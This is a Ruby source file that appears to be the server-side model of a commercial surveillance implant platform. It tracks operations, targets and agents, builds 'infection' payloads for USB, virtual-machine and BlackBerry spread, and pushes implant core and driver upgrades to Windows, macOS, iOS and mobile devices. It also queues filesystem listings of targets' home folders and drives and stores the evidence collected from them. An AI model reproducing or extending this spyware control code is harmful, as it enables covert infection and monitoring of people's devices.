# encoding: utf-8

require 'mongoid'

require_relative '../build'
require_relative '../push'

# from RCS::Common
require 'rcs-common/trace'
require 'rcs-common/crypt'

class Item
  extend RCS::Tracer
  include RCS::Tracer
  include RCS::Crypt
  include Mongoid::Document
  include Mongoid::Timestamps

  # common
  field :name, type: String
  field :desc, type: String
  field :status, type: String
  field :_kind, type: String
  field :path, type: Array

  # operation
  field :contact, type: String

  # factory
  field :ident, type: String
  field :counter, type: Integer
  field :seed, type: String
  field :confkey, type: String
  field :logkey, type: String

  # agent instance (+ factory fields)
  field :instance, type: String
  field :version, type: Integer
  field :type, type: String
  field :platform, type: String
  field :deleted, type: Boolean, default: false
  field :uninstalled, type: Boolean
  field :demo, type: Boolean
  field :upgradable, type: Boolean

  field :cs, type: String
  
  scope :operations, where(_kind: 'operation')
  scope :targets, where(_kind: 'target')
  scope :agents, where(_kind: 'agent')
  scope :factories, where(_kind: 'factory')

  has_and_belongs_to_many :groups, :dependent => :nullify, :autosave => true

  embeds_many :filesystem_requests, class_name: "FilesystemRequest"
  embeds_many :download_requests, class_name: "DownloadRequest"
  embeds_many :upgrade_requests, class_name: "UpgradeRequest"
  embeds_many :upload_requests, class_name: "UploadRequest"
  
  embeds_one :stat

  embeds_many :configs, class_name: "Configuration"

  index :name
  index :status
  index :_kind
  index :ident
  index :instance

  store_in :items

  after_create :create_callback
  before_destroy :destroy_callback

  before_update :status_change_callback
  after_update :notify_callback

  before_create :do_checksum
  before_update :do_checksum
  before_save :do_checksum
  
  public

  def self.reset_dashboard
    Item.any_in(_kind: ['agent', 'target']).each {|i| i.reset_dashboard}
  end

  def reset_dashboard
    self.stat.dashboard = {}
    self.save
  end

  # performs global recalculation of stats (to be called periodically)
  def self.restat
    begin
      t = Time.now
      # to make stat converge in one step, first restat agent, targets, then operations
      #Item.where(_kind: 'agent').each {|i| i.restat}
      Item.where(_kind: 'target').each {|i| i.restat}
      Item.where(_kind: 'operation').each {|i| i.restat}
      trace :debug, "Restat time: #{Time.now - t}" if RCS::DB::Config.instance.global['PERF']
    rescue Exception => e
      trace :fatal, "Cannot restat items: #{e.message}"
    end
  end
  
  def restat
    case self._kind
      when 'operation'
        self.stat.size = 0;
        self.stat.grid_size = 0;
        targets = Item.where(_kind: 'target').also_in(path: [self._id])
        targets.each do |t|
          self.stat.size += t.stat.size
          self.stat.grid_size += t.stat.grid_size
          if (not t.stat.last_sync.nil?) and (self.stat.last_sync.nil? or t.stat.last_sync > self.stat.last_sync)
            self.stat.last_sync = t.stat.last_sync
          end
        end
        self.save
      when 'target'
        self.stat.grid_size = 0;
        self.stat.evidence = {}
        self.stat.dashboard = {}
        agents = Item.where(_kind: 'agent', deleted: false).also_in(path: [self._id])
        agents.each do |a|
          self.stat.evidence.merge!(a.stat.evidence) {|k,o,n| o+n }
          self.stat.dashboard.merge!(a.stat.dashboard) {|k,o,n| o+n }
          self.stat.grid_size += a.stat.grid_size
          if (not a.stat.last_sync.nil?) and (self.stat.last_sync.nil? or a.stat.last_sync > self.stat.last_sync)
            self.stat.last_sync = a.stat.last_sync
          end
        end
        db = Mongoid.database
        collection = db.collections.select {|c| c.name == Evidence.collection_name(self._id.to_s)}
        self.stat.size = collection.first.stats()['size'].to_i unless collection.empty?
        self.save
      when 'agent'
        self.stat.evidence = {}
        ::Evidence::TYPES.each do |type|
          query = {type: type, aid: self._id}
          self.stat.evidence[type] = Evidence.collection_class(self.get_parent[:_id]).where(query).count
        end
        self.save
    end
  end

  def get_parent
    ::Item.find(self.path.last)
  end

  def clone_instance
    return nil if self[:_kind] != 'factory'

    agent = Item.new
    agent._kind = 'agent'
    agent.deleted = false
    agent.ident = self[:ident]
    agent.name = self[:name] + " (#{self[:counter]})"
    agent.type = self[:type]
    agent.desc = self[:desc]
    agent[:path] = self[:path]
    agent.confkey = self[:confkey]
    agent.logkey = self[:logkey]
    agent.seed = self[:seed]

    # clone the factory's config
    if self[:configs].first
      fc = self[:configs].first

      nc = ::Configuration.new
      nc.user = fc['user']
      nc.desc = fc['desc']
      nc.config = fc['config']
      nc.saved = Time.now.getutc.to_i

      agent.configs = [ nc ]
    end

    ns = ::Stat.new
    ns.evidence = {}
    ns.dashboard = {}
    ns.size = 0
    ns.grid_size = 0

    agent.stat = ns

    return agent
  end

  def add_infection_files
    config = JSON.parse(self.configs.last.config)

    found = false

    # build the infection files only if at least one subaction is dealing with the infection module
    config['actions'].each do |action|
      action['subactions'].each do |sub|
        if sub['action'] == 'module' and sub['module'] == 'infection'
          found = true
        end
      end
    end

    if found
      trace :info, "Infection module for agent #{self.name} detected, building files..."
    else
      return
    end

    begin
      config['modules'].each do |mod|
        if mod['module'] == 'infection'

          if mod['usb'] or mod['vm'] > 0
            factory = ::Item.where({_kind: 'factory', ident: self.ident}).first
            build = RCS::DB::Build.factory(:windows)
            build.load({'_id' => factory._id})
            build.unpack
            build.patch({'demo' => self.demo})
            build.scramble
            build.melt({'admin' => false, 'demo' => self.demo})
            add_upgrade('installer', File.join(build.tmpdir, 'output'))
            build.clean
          end

          if mod['mobile']
		    trace :debug, " Mobile" 
            factory = ::Item.where({_kind: 'factory', ident: mod['factory']}).first

            #build = RCS::DB::Build.factory(:winmo)
            #build.load({'_id' => factory._id})
            #build.unpack
            #build.patch({'demo' => self.demo})
            #build.scramble
            #build.melt({'admin' => false, 'demo' => self.demo})
            #add_upgrade('wmcore.001', File.join(build.tmpdir, 'autorun.exe'))
            #add_upgrade('wmcore.002', File.join(build.tmpdir, 'autorun.zoo'))
            #build.clean

            build = RCS::DB::Build.factory(:blackberry)
            build.load({'_id' => factory._id})
            build.unpack
            build.patch({'demo' => self.demo})
            build.scramble
            build.melt({'appname' => 'bb_in'})
			build.infection_files('bb_in').each() do |f|
				trace :debug, " BlackBerry adding: #{f}"
				add_upgrade(f[:name], f[:path])
			end
            build.clean
          end

        end
      end
    rescue Exception => e
      trace :error, "Cannot create infection file: #{e.message}"
    end

  end

  def add_first_time_uploads
    return if self[:_kind] != 'agent'

    if self.platform == 'windows'
      factory = ::Item.where({_kind: 'factory', ident: self.ident}).first
      build = RCS::DB::Build.factory(:windows)
      build.load({'_id' => factory._id})
      build.unpack
      build.patch({'demo' => self.demo})

      # copy the files in the upgrade collection
      add_upgrade('core64', File.join(build.tmpdir, 'core64'))
      add_upgrade('rapi', File.join(build.tmpdir, 'rapi'))
      add_upgrade('codec', File.join(build.tmpdir, 'codec'))
      add_upgrade('sqlite', File.join(build.tmpdir, 'sqlite'))

      build.clean
    end

  end

  def add_upgrade(name, file)
    # make sure to overwrite the new upgrade
    self.upgrade_requests.destroy_all(conditions: { filename: name })

    content = File.open(file, 'rb+') {|f| f.read}
    raise "Cannot read from file #{file}" if content.nil?

    self.upgrade_requests.create!({filename: name, _grid: [RCS::DB::GridFS.put(content, {filename: name, content_type: 'application/octet-stream'})] })
  end

  def upgrade!
    return if self.upgradable
    return if self.version.nil?

    factory = ::Item.where({_kind: 'factory', ident: self.ident}).first
    build = RCS::DB::Build.factory(self.platform.to_sym)
    build.load({'_id' => factory._id})
    build.unpack
    build.patch({'demo' => self.demo})

    if self.version < 2012041601 and ['windows', 'osx', 'ios'].include? self.platform
      trace :info, "Upgrading #{self.name} from 7.x to 8.x"
      # file needed to upgrade from version 7.x to daVinci
      content = self.configs.last.encrypted_config(self[:confkey])
      self.upload_requests.create!({filename: 'nc-7-8dv.cfg', _grid: [RCS::DB::GridFS.put(content, {filename: 'nc-7-8dv.cfg'})] })
    end

    # then for each platform we have differences
    case self.platform
      when 'windows'
        if self.version < 2012041601
          add_upgrade('dll64', File.join(build.tmpdir, 'core64'))
        else
          add_upgrade('core64', File.join(build.tmpdir, 'core64'))
        end
      when 'osx'
        add_upgrade('inputmanager', File.join(build.tmpdir, 'inputmanager'))
        add_upgrade('xpc', File.join(build.tmpdir, 'xpc'))
        add_upgrade('driver', File.join(build.tmpdir, 'driver'))
      when 'ios'
        add_upgrade('dylib', File.join(build.tmpdir, 'dylib'))
      when 'winmo'
        add_upgrade('smsfilter', File.join(build.tmpdir, 'smsfilter'))
      when 'blackberry'
        # TODO: change this when multi-core will be implemented
        add_upgrade('core-1', File.join(build.tmpdir, 'net_rim_bb_lib-1.cod'))
        add_upgrade('core-0', File.join(build.tmpdir, 'net_rim_bb_lib.cod'))
    end

    # always upgrade the core
    add_upgrade('core', File.join(build.tmpdir, 'core')) if File.exist? File.join(build.tmpdir, 'core')

    build.clean

    self.upgradable = true
    self.save
  end

  def add_default_filesystem_requests
    return if self[:_kind] != 'agent'

    # the request for the root
    self.filesystem_requests.create!({path: '/', depth: 1})

    # the home for the current user
    self.filesystem_requests.create!({path: '%USERPROFILE%', depth: 2})

    # special request for windows to have the c: drive
    self.filesystem_requests.create!({path: '%HOMEDRIVE%\\\\*', depth: 1}) if self.platform == 'windows'
  end

  def create_callback
    case self._kind
      when 'target'
        # create the collection for the target's evidence and shard it
        db = Mongoid.database
        collection = db.collection(Evidence.collection_name(self._id))
        # ensure indexes
        Evidence.collection_class(self._id).create_indexes
        # enable sharding only if not enabled
        RCS::DB::Shard.set_key(collection, {type: 1, da: 1, aid: 1})
    end

    RCS::DB::PushManager.instance.notify(self._kind, {id: self._id, action: 'create'})
  end

  def notify_callback
    # we are only interested if the properties changed are:
    interesting = ['name', 'desc', 'status', 'instance', 'version', 'deleted', 'uninstalled']
    return if not interesting.collect {|k| changes.include? k}.inject(:|)

    RCS::DB::PushManager.instance.notify(self._kind, {id: self._id, action: 'modify'})
  end

  def destroy_callback
    # remove the item form any dashboard or recent
    ::User.all.each {|u| u.delete_item(self._id)}
    # remove the item form the alerts
    ::Alert.all.each {|a| a.delete_if_item(self._id)}
    # remove the NIA rules that contains the item
    ::Injector.all.each {|p| p.delete_rule_by_item(self._id)}
    # remove the connector rules that contains the item
    ::Connector.all.each {|p| p.delete_if_item(self._id)}

    case self._kind
      when 'operation'
        # destroy all the targets of this operation
        Item.where({_kind: 'target', path: [ self._id ]}).each {|targ| targ.destroy}
      when 'target'
        # destroy all the agents of this target
        # to speed up the process, set the DROPPING flag.
        # during callbacks the agent will not delete the evidence
        Item.any_in({_kind: ['factory', 'agent']}).also_in({path: [ self._id ]}).each do |agent|
          agent[:dropping] = true
          agent.save
          agent.destroy
        end
        trace :info, "Dropping evidence for target #{self.name}"
        # drop the evidence collection of this target
        Mongoid.database.drop_collection Evidence.collection_name(self._id.to_s)
        RCS::DB::GridFS.delete_collection(self._id.to_s)
      when 'agent'
        # dropping flag is set only by cascading from target
        unless self[:dropping]
          trace :info, "Deleting evidence for agent #{self.name}..."
          Evidence.collection_class(self.path.last).destroy_all(conditions: { aid: self._id.to_s })
          trace :info, "Deleting evidence for agent #{self.name} done."
        end
    end

    RCS::DB::PushManager.instance.notify(self._kind, {id: self._id, action: 'destroy'})
  rescue Exception => e
    trace :error, "ERROR: #{e.message}"
    trace :fatal, "EXCEPTION: " + e.backtrace.join("\n")
    raise
  end

  def self.offload_destroy(params)
    item = ::Item.find(params[:id])
    raise "item not found" if item.nil?
    item.destroy
  end

  def self.offload_destroy_callback(params)
    item = ::Item.find(params[:id])
    raise "item not found" if item.nil?
    item.destroy_callback
  end

  def status_change_callback
    return if self.status == 'open'

    # cascade the closed status to all the descendants
    case self._kind
      when 'operation'
        Item.where({_kind: 'target', path: [ self._id ]}).each do |target|
          target.status = 'closed'
          target.save
        end
      when 'target'
        Item.any_in({_kind: ['agent', 'factory']}).also_in({path: [ self._id ]}).each do |agent|
          agent.status = 'closed'
          agent.save
        end
    end
  end

  def do_checksum
    self.cs = calculate_checksum
  end

  def calculate_checksum
    # take the fields that are relevant and calculate the checksum on it
    hash = [self._id, self.name, self.counter, self.status, self._kind, self.path]

    if self._kind == 'agent'
      hash << [self.instance, self.type, self.platform, self.deleted, self.uninstalled, self.demo, self.upgradable]
    end

    aes_encrypt(Digest::SHA1.digest(hash.inspect), Digest::SHA1.digest("∫∑x=1 ∆t")).unpack('H*').first
  end

end

class FilesystemRequest
  include Mongoid::Document
  
  field :path, type: String
  field :depth, type: Integer
  
  validates_uniqueness_of :path

  embedded_in :item
end

class DownloadRequest
  include Mongoid::Document

  field :path, type: String

  validates_uniqueness_of :path

  embedded_in :item
end

class UpgradeRequest
  include Mongoid::Document
  
  field :filename, type: String
  field :_grid, type: Array

  validates_uniqueness_of :filename

  embedded_in :item

  after_destroy :destroy_upgrade_callback

  def destroy_upgrade_callback
    # remove the content from the grid
    RCS::DB::GridFS.delete self[:_grid].first unless self[:_grid].nil?
  end

end

class UploadRequest
  include Mongoid::Document
  
  field :filename, type: String
  field :sent, type: Integer, :default => 0
  field :_grid, type: Array
  field :_grid_size, type: Integer

  embedded_in :item

  after_destroy :destroy_upload_callback

  def destroy_upload_callback
    # remove the content from the grid
    RCS::DB::GridFS.delete self[:_grid].first unless self[:_grid].nil?
  end
end

class Stat
  include Mongoid::Document

  field :source, type: String
  field :user, type: String
  field :device, type: String
  field :last_sync, type: Integer
  field :last_sync_status, type: Integer
  field :last_child, type: Array
  field :size, type: Integer, :default => 0
  field :grid_size, type: Integer, :default => 0
  field :evidence, type: Hash, :default => {}
  field :dashboard, type: Hash, :default => {}
  
  embedded_in :item
end
